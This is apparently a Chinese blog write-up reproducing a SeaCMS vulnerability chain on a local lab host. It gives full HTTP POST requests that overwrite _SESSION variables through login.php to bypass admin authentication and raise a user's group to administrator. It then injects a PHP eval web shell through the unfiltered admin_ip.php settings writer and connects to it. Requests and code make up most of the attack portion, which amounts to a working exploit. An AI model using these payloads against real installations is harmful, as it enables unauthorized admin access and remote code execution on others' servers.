0x01 前言
好久没输出一下了,看到seacms这个就比较想看下有什么漏洞,看到90sec上面mochazz师傅发了一篇https://forum.90sec.com/t/topic/425 ,就跟着复现学习一下。我当中也是遇到一些问题卡住了,对于自己不懂的一定要去弄懂,别不懂也跟着下去,复现成功了,其实你只是学到怎么用,但是你去做分析了,遇到中间不懂的也不去耐心的弄懂,那可想而知,你每次只是复现成功后看分析知道自己懂了流程这段代码是干什么用的而已,但是你仔细思考一下这段代码是你自己看懂了还是看别人的文章指出这段代码的干什么用的。囫囵吞枣的学就好比如每天按时完成任务那种安慰自己得感觉,当你认真去分析弄懂自己不懂之后那种成就感才是你发现自己真正在进步时候,总之一句话: 不要用战术上的勤奋,掩盖战略上的懒惰
言归正传,不过说起来这个漏洞毕竟鸡肋的地方就是在后台,因为这里用了随机字符做后台的路径:
//修改后台文件夹名称
function randomkeys($length)
{
$pattern = 'abcdefgh1234567890jklmnopqrstuvwxyz';
for($i=0;$i<$length;$i++)
{
$key .= $pattern{mt_rand(0,35)};
}
return $key;
}
$newadminname=randomkeys(6);
$jpath='../admin';
$xpath='../'.$newadminname;
$cadmin=rename($jpath,$xpath);
if($cadmin==true){$cadmininfo=$baseurl.'/'.$newadminname;}
else{$cadmininfo=$baseurl.'/admin';}
0x02 漏洞复现
- 首先注册一个普通用户
- burp抓包改包,下面是发送payload
POST /login.php HTTP/1.1
Host: 192.168.8.143
Content-Length: 49
Cache-Control: max-age=0
Origin: http://192.168.8.143
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.8.143/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9smu8an6nvbrqasp5m0o4bmts7
Connection: close
dopost=login&userid=test&pwd=123456&validate=djyf&_SESSION[sea_admin_id]=1&_SESSION[sea_ckstr]=djyf
3. 登陆后台页面,可以发现管理员账户变成-1了,也同时拥有管理员的权限
0x03 漏洞分析
程序很多页面都会包含include/common.php
这个文件,主要是把 $_GET、$_POST、$_COOKIE 注册成全局变量 ,然后再检测是否存在非法变量名和过滤。
这里是检测了字符的长度和是否存在cfg_、GLOBALS变量还有是否设置cookie,但是漏了 _SESSION、_FILES 这两个。
覆盖变量的代码,遍历后会通过_RunMagicQuotes的函数进行过滤。这里如果大家还是弄不懂的话,建议大家自己在本地新建一个php文件把下面的代码测试一遍就知道怎么用了,记得把_RunMagicQuotes函数去掉就行了。
变量覆盖应该覆盖什么变量才有用呢?可以想到覆盖上传的文件名导致任意文件上传漏洞,也可以覆盖用户的权限,比如管理员的权限值为1,那么普通用户的权限值>1,但是这个值在注册用户的时候就内定了,但是我们可以覆盖这个变量让我们的权限值变成1,这样就拥有了管理员一样的权限了。
我们来输入后台的路径的时候它一般会指向index.php文件,那么我们就开始从这个index.php开始分析,它是如何验证我们不是管理员而跳转到login.php的。其实这个文件也就几个包含,那包含进来的文件也会执行。
<?php
require_once(dirname(__FILE__)."/config.php");
require_once(sea_ADMIN.'/inc_menu.php');
$defaultIcoFile = sea_ROOT.'/data/admin/quickmenu.txt';
$myIcoFile = sea_ROOT.'/data/admin/quickmenu-'.$cuserLogin->getUserID().'.txt';
if(!file_exists($myIcoFile)) {
$myIcoFile = $defaultIcoFile;
}
include(sea_ADMIN.'/templets/index.htm');
exit();
?>
我们先看第一个包含的配置文件config.php,我们往下看就看到检验用户登陆的代码
//检验用户登录状态
$cuserLogin = new userLogin();
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser);//构造session安全码
if($cuserLogin->getUserID()==-1 OR $_SESSION['hashstr'] !== $hashstr)
{
header("location:login.php?gotopage=".urlencode($EkNowurl));
exit();
}
在此之前先来看下实例化的userLogin类,还有上用到的getUserID()函数也在里面,一开始没进行任何登陆我我们是没有任何_SESSSION的值的所以我们获取到的$cuserLogin->getUserID()是为-1的,还有$_SESSION['hashstr'] 也是不存在的,所以验证过不通过那就执行下面的语句,那么就会跳转到 login.php的页面了。
那么我们现在就可以知道我们只要用刚才找到的变量覆盖的方法去覆盖 $_SESSION['sea_admin_id']、$_SESSION['hashstr'] 这两个变量就可以跳过这步的验证然后进入后台管理页面了。我们只要将$_SESSION['sea_admin_id']设置为1就行了,但是$_SESSION['hashstr'] 这个session安全码是由数据库的密码、数据库名、数据库用户名,然后再用MD5加密组成的。
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser);
那我只要找到有赋值给
$_SESSION['hashstr']=$hashstr
就行了
那么我们可以用phpstorm
来搜索一下,这个工具还是比较好用的,虽然是盗版的嘻嘻,不是专门做开发的,但有钱也要支持一下正版啦,要么也看用vscode
也不错,也有debug的功能。这里有两个文件里面含有这个语句,但是都是在登陆成功后从才会赋值给$_SESSION['hashstr']
,管理员我们不知道密码,那么我们就注册一个普通的用户就行了。
我们来看login.php
的分析,开头有session_start();
就刚刚合适,大家这里可能会有疑问,我们刚才在后台的config.php
的文件里面不是用OR
来验证的嘛,那我们直接让$_SESSION['sea_admin_id']=1不就行了吗?这样说按道理是可以的,但是大家可以在config.php
文件的1-34行分析,这句就是我变量覆盖的包含文件,但是我们现在生成的变量只是$_SESSION['sea_admin_id']变量而已,还没有进到session
里面,因为没有开启session
功能
require_once(sea_ADMIN."/../include/common.php");
当包含到这个文件的时候,在第6行使用了session_start();
这时候会把我们之前生成的$_SESSION['sea_admin_id']清除为空,那么我们初始化的时候就会返回-1的值,所以我们选择login.php
这个文件是符合这个漏洞的条件的。
require_once(sea_INC."/check.admin.php");
那么我们可以总结一下我们需要的条件:
- 开放用户注册
- 包含
include/common.php
文件 - 需要开启
session_start();
- 文件需要有
$_SESSION['hashstr']=$hashstr
那我们可以用burp抓包改包:
POST /login.php HTTP/1.1
Host: 192.168.0.102
Content-Length: 74
Cache-Control: max-age=0
Origin: http://192.168.0.102
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.0.102/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9ldeskn21pu2a5b4pk2jvjj3j0; XDEBUG_SESSION=PHPSTORM
Connection: close
_SESSION[sea_admin_id]=1&dopost=login&userid=test&pwd=123456&validate=odfa
当你到这一步的时候你放行数据包之后会提示验证码错误,你回去看代码有一句,没错啊,这里不是赋值了吗?怎么会出现验证码错误呢?
$svali = $_SESSION['sea_ckstr'];
这里我也卡住了,我debug了好几次,发现问题出现在我们变量覆盖的地方,$_SESSION['sea_ckstr']
在我们还没进行变量覆盖的时候就已经存在了,但是一到这里我们覆盖过去之后会把先前的$_SESSION
值都覆盖然后重新赋值,这个时候$_SESSION['sea_ckstr']
就不复存在了。
所以我们完整的payload应该是这样的:
POST /login.php HTTP/1.1
Host: 192.168.0.102
Content-Length: 74
Cache-Control: max-age=0
Origin: http://192.168.0.102
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.0.102/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9ldeskn21pu2a5b4pk2jvjj3j0; XDEBUG_SESSION=PHPSTORM
Connection: close
_SESSION['sea_ckstr']=odfa&_SESSION[sea_admin_id]=1&dopost=login&userid=test&pwd=123456&validate=odfa
其实到这里我们还没完全有管理员的权限,我们只是跳过了进后台页面的步骤而已,当我们访问nzyo/admin_config.php
的时候就会出现没有权限的错误。
我们去看这个文件nzyo/admin_config.php
,里面用了一个函数CheckPurview()
来检查是否有权限
function CheckPurview()
{
if($GLOBALS['cuserLogin']->getUserRank()<>1)
{
ShowMsg("对不起,你没有权限执行此操作!<br/><br/><a href='javascript:history.go(-1);'>点击此返回上一页>></a>",'javascript:;');
exit();
}
}
我们继续跟进getUserRank()
函数
function getUserRank()
{
return $this->getgroupid();
}
继续跟下去
//获得用户的权限值
function getgroupid()
{
if($this->groupid!='')
{
return $this->groupid;
}
else
{
return -1;
}
}
我们的var $keepgroupidTag = "sea_group_id";
没有做变量覆盖
$this->groupid = $_SESSION[$this->keepgroupidTag];
那我们的payload就加上就行了
POST /login.php HTTP/1.1
Host: 192.168.8.143
Content-Length: 124
Cache-Control: max-age=0
Origin: http://192.168.8.143
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://192.168.8.143/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9smu8an6nvbrqasp5m0o4bmts7; XDEBUG_SESSION=PHPSTORM
Connection: close
dopost=login&userid=test&pwd=123456&validate=yrjt&_SESSION[sea_admin_id]=1&_SESSION[sea_ckstr]=yrjt&_SESSION[sea_group_id]=1
然后我们可以进配置页面进行管理的权限操作了
0x04 Getshell
这个环节是大家最喜欢的了,获取到shell权限是拿到最高权限的第一步也是内网渗透的第一步,师傅已经介绍在admin_ping.php
的文件怎么拿shell,这里我也找了一个点admin_ip.php
,大家可以看代码是如何写入文件/data/admin/ip.php
的,没有任何的过滤。
if($action=="set")
{
$v= $_POST['v'];
$ip = $_POST['ip'];
$open=fopen("../data/admin/ip.php","w" );
$str='<?php ';
$str.='$v = "';
$str.="$v";
$str.='"; ';
$str.='$ip = "';
$str.="$ip";
$str.='"; ';
$str.=" ?>";
fwrite($open,$str);
fclose($open);
ShowMsg("成功保存设置!","admin_ip.php");
exit;
我们再去看一下ip.php
格式
<?php $v = "0"; $ip = " "; ?>
我们可以构造一下,然后保存
";@eval($_POST[pp]);//
看一下ip.php
的内容,已经写进去了
连接shell
0X05 结束
持续输出!